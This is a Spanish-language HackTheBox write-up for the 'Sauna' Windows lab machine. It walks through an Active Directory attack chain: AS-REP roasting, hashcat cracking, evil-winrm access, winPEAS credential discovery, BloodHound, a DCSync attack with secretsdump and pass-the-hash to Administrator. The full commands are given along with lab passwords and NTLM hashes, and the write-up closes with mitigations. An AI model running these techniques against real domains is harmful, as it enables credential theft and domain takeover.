

# Sauna (HackTheBox)

Máquina: Sauna

SO: Windows

IP: 10.10.10.175

Fecha: 2025-10-21

Herramientas: ping, nmap, smbclient, crackmapexec, GetUserSPNs, hashcat, evil-winrm, winPEASx64, BloodHound, secretsdump

Dificultad: Easy

Tipo de informe: POC + comandos utilizados + Conclusiones

## Enumeración

Empezamos enumerando la máquina con la herramienta "ping". En esta podemos identificar un TTL de 127(+1), lo que sugiere que es un Windows.

```
(root@kali)-[/home/kali/Desktop/Workstation]
# ping -c 4 10.10.10.175
PING 10.10.10.175 (10.10.10.175) 56(84) bytes of data.
64 bytes from 10.10.10.175: icmp_seq=1 ttl=127 time=45.3 ms
64 bytes from 10.10.10.175: icmp_seq=2 ttl=127 time=43.7 ms
64 bytes from 10.10.10.175: icmp_seq=3 ttl=127 time=44.3 ms
64 bytes from 10.10.10.175: icmp_seq=4 ttl=127 time=42.0 ms

— 10.10.10.175 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 41.999/43.836/45.320/1.206 ms
```

Parámetros:

- -c: Cantidad de paquetes que queremos enviar

A continuación usamos la herramienta "Nmap" para identificar puertos y sus versiones.

Puertos TCP:

```
(root@kali)-[/home/kali/Desktop/Workstation]
# nmap -sS -n -Pn -p- --min-rate 5000 --disable-arp-ping --reason -oN puertos.txt 10.10.10.175
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-21 10:47 EDT
Nmap scan report for 10.10.10.175
Host is up, received user-set (0.047s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE      REASON
53/tcp    open  domain       syn-ack ttl 127
80/tcp    open  http         syn-ack ttl 127
88/tcp    open  kerberos-sec syn-ack ttl 127
135/tcp   open  msrpc        syn-ack ttl 127
139/tcp   open  netbios-ssn  syn-ack ttl 127
389/tcp   open  ldap         syn-ack ttl 127
445/tcp   open  microsoft-ds syn-ack ttl 127
464/tcp   open  kpasswd5     syn-ack ttl 127
593/tcp   open  http-rpc-epmap syn-ack ttl 127
636/tcp   open  ldapssl      syn-ack ttl 127
3268/tcp  open  globalcatLDAP syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman        syn-ack ttl 127
9389/tcp  open  adws         syn-ack ttl 127
```

Parámetros:

- -sS: Syn-Scan, usa solo la primera fase del 3WayHandshake
- -n: Evitamos hacer DNS Resolution
- -Pn: Evitamos hacer Host Discovery
- --min-rate 5000: Usamos un elevado número de paquetes para ir más rápido, muy agresivo
- --disable-arp-ping: Evitamos ARP Discovery
- --reason: Estado del puerto
- -oN: Salida normal de Nmap

Puertos UDP:

```
(root@kali)-[/home/kali/Desktop/Workstation]
# nmap -sU -n -Pn -p- --min-rate 5000 --disable-arp-ping --reason -oN puertosU.txt 10.10.10.175
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-21 10:47 EDT
Nmap scan report for 10.10.10.175
Host is up, received user-set (0.048s latency).
Not shown: 65531 open|filtered udp ports (no-response)
PORT      STATE SERVICE      REASON
53/udp    open  domain       udp-response ttl 127
88/udp    open  kerberos-sec udp-response ttl 127
123/udp   open  ntp          udp-response ttl 127
389/udp   open  ldap         udp-response ttl 127
```

Parámetros:

- -sU: UDP-Scan

## Versiones:

```
(root@kali)-[/home/kali/Desktop/Workstation]
# nmap -sCV -O -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -oN versiones.txt 10.10.10.175
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-21 10:49 EDT
Nmap scan report for 10.10.10.175
Host is up (0.16s latency).

PORT      STATE SERVICE      VERSION
53/tcp    open  domain      Simple DNS Plus/PN
80/tcp    open  http        Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
|_http-methods:
|_ Potentially risky methods: TRACE
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-21 21:49:24Z)
135/tcp    open  msrpc       Microsoft Windows RPC
139/tcp    open  netbios-ssn Microsoft Windows netbios-ssn
389/tcp    open  ldap        Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: lt-First-Site-Name)
445/tcp    open  microsoft-ds?
464/tcp    open  kpasswd5?
593/tcp    open  ncacn_http  Microsoft Windows RPC over HTTP 1.0
636/tcp    open  tcpwrapped
3268/tcp   open  ldap        Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: lt-First-Site-Name)
3269/tcp   open  tcpwrapped
5985/tcp   open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp   open  mc-nmf      .NET Message Framing
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
```

## Parámetros:

- -sCV: Ejecutar Script Default e identificar versiones
- -O: Aproximación de Sistema Operativo

Se miró SMB, LDAP y DNS, pero se encontró nada de utilidad.

Por lo que se miró en las páginas del servidor web, donde se encontró nombres de usuarios.



Fergus Smith



Shaun Coins



Hugo Bear



Bowie Taylor



Sophie Driver



Steven Kerb

AMAZING

## Meet The Team

“Meet the team. So many bank account managers but only one security manager. Sounds about right!”

Usamos estos nombres para crear un diccionario

## Explotación

Con esta lista de nombres podríamos hacer dos cosas:

1. Hacer un ataque de fuerza bruta con cada uno de los usuarios.
2. Ver si algún usuario tiene "No pre-authentication required".

La primera opción es demasiado lenta, por eso vamos a por la segunda opción.

Para ello solicitaremos un TGT para obtener el Hash. Si hay un usuario con "No pre-authentication required", entonces conseguiremos el Hash.

Para lograr esto usaremos la herramienta "GetUserSPNs" y los nombres anteriores.

```
(root@kali)-[/home/kali/Desktop/Workstation]
# while read user; do impacket-GetNPUsers egotistical-bank.local/"$user" -request -no-pass -dc-ip 10.10.10.175; done < nombres.txt
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Getting TGT for FergusSmith
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Getting TGT for FSmith
$krb5asrep$23$FSmith@EGOTISTICAL-BANK.LOCAL:ff411d47560d0221a2ff02c72dc2a07c$4ed10af25146d4d4f08d118e0fc3b639d2c4b5f585e502342631dbd6c999707a2eb269f2112987d3d65edbd40bb27a95302ccb85d6dd35442b266b540ecc53d873f43ae237aac5132bd919bb1ed0311920c969783f303443a77ea9a48bfc5be160d9fab9bd753c662d4ceaa6e80f23bbb44ef6a86a0607ab641b9f9f3a3db3c8d03d042028169db9f3b4607a987db5e1330b13352449994b0ef3cd0249681f0fe66ecca3a51dfaee8b04de03cf8c10015c0d5d24a5a5dedcbccbb93a09f8f12bb3e4737c90ed2bb46a18f0c4542a7928cbe07287f9e1efbd6f70b5559d1bb14fe792faf4847456194dea69bead3efe9265c26680d10c78e0c546de63e8819d3
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
```

Con "hashcat" podemos desencriptar el TGT, obteniendo así la credencial.

```
(root@kali)-[/home/kali/Desktop/Workstation]
# hashcat tgt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
```

```
$krb5asrep$23$FSmith@EGOTISTICAL-BANK.LOCAL:84d82eb015e94f632e1f60b1d22c7707$1082dca10ba428b256124d7a68c9679340ca412ef330d2410e0d15033c8453c166fbd08446d721034b49cde0d0759b3e007a7f591df36f9fd7760647f4d0270c68f08710d5ffd7724af4ef8064310fd4a61372af107f5d4a9475128f295e21b84181f2376a63f1a53b54e92d9a4fdc15ba1297d238a1a9b87c4feee0df14df629fc6514e7706a7eaf5fb9987dfece29235f31b0436ee8399d25ce4b2b8f2b8abae819c2204765e1216a58ae2e92147acf4b575aba59b653fc94916d69a98a895b76325d61bd56670d31675c00d81db0b5d5a88512d4ee77e6beaeb0540e2d6dcfe7c1d55740eb0abe3c3d83cb14a581e6d2a5f3cf0c5540ce3be7f38fe026dbc:Thestrokes23
```

Ahora con el usuario "FSmith" y su credencial "Thestrokes23" podemos volver a enumerar.

Se encontraron varios usuarios del servidor SMB.

```
(root@kali)-[/home/kali/Desktop/Workstation]
# crackmapexec smb 10.10.10.175 -u FSmith -p "Thestrokes23" --rid-brute | grep SidTypeUser | cut -f2 -d\'\' | cut -f1 -d\'('
Administrator
Guest
krbtgt
SAUNA$
HSmith
FSmith
svc_loanmgr
```

Se encontró una carpeta en SMB (RICOH Aficio SP 8300DN PCL 6) pero no se pudo listar nada por permisos insuficientes.

```
(root@kali)-[/home/kali/Desktop/Workstation]
# smbclient -U FSmith -L //10.10.10.175
Password for [WORKGROUP\FSmith]:
File System: NTFS
Programs:
VPN:
Workstation:

Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
C$             Disk      Default share
IPC$           IPC       Remote IPC
NETLOGON       Disk      Logon server share
print$         Disk      Printer Drivers
RICOH Aficio SP 8300DN PCL 6 Printer We cant print money
SYSVOL         Disk      Logon server share
```

Como no se encontró nada más, se procedió a conectarse a la máquina a través de "evil-winrm".

```
(root@kali)-[/home/kali/Desktop/Workstation]
# evil-winrm -i 10.10.10.175 -u FSmith -p 'Thestrokes23'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#remote-shell
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\FSmith\Documents> whoami
egotisticalbank\fsmith
```

## Post-Explotación

Con la herramienta "WinPEASx64.exe" se identificó un usuario con credenciales expuestas.

```
Some AutoLogon credentials were found
DefaultDomainName      : EGOTISTICALBANK
DefaultUserName        : EGOTISTICALBANK\svc_loanmanager
DefaultPassword        : Moneymakestheworldground!
```

Usado más adelante en ACLs



Para seguir enumerando con el usuario "FSmith" usaremos BloodHound para ver si encontramos algún vector de ataque en las ACLs.

```
(root@kali)-[/home/kali/Desktop/Workstation]
# bloodhound-python -u 'FSmith' -p 'TheStrokes23' -d egotistical-bank.local -ns 10.10.10.175 -c All --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: egotistical-bank.local
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (SAUNA.EGOTISTICAL-BANK.LOCAL:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL
INFO: Found 7 users
INFO: Found 52 groups
INFO: Found 3 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: SAUNA.EGOTISTICAL-BANK.LOCAL
INFO: Done in 00M 14S
INFO: Compressing output into 20251021120411_bloodhound.zip
```

Se identificó que el usuario "svc\_loanmanager" tiene privilegios "GetChangesAll" sobre el dominio.

Lo que nos permite ejecutar ataques DCSync y obtener el hash de administrador.

```
(root@kali)-[/home/kali/Desktop/Workstation]
# impacket-secretsdump SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL -dc-ip 10.10.10.175
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
```

También se puede hacer mediante "mimikatz" y obtener los NTLM (hashes)

Finalmente usamos la herramienta "evil-winrm" para conectarnos con el usuario Administrador usando Pass-The-Hash.

```
(root@kali)-[/home/kali/Desktop/Workstation]
# evil-winrm -i 10.10.10.175 -u Administrator -H '823452073d75b9d1cf70ebdf86c7f98e'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/e

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
egotisticalbank\administrator
```

## Conclusiones

Esta máquina de Hack The Box (Sauna) nos ha servido para recordar técnicas.

Empezamos con una enumeración completa encontrando solo nombres, con los cuales creamos un diccionario.

Este diccionario se usó para ASREPROast y se identificó un Usuario/Credencial.

Una vez dentro del sistema se identificó otro usuario y las reglas ACLs. Permitiendo así llegar hasta Administrador con Pass The Hash.

## **Mitigaciones**

### **Prioridad alta**

1. Rotar credenciales expuestas
2. Revisar "No pre-auth required" en FSmith
3. Revisar reglas ACLs

### **Prioridad media**

1. Eliminar directorios públicos (SMB)
2. Eliminar nombres de usuarios de páginas públicas
3. Monitorear comandos ejecutados en el sistema

### **Prioridad baja**

1. Implementar metodologías Zero-Trust y Privilegio Mínimo
2. Monitorear la red, sistemas y dominio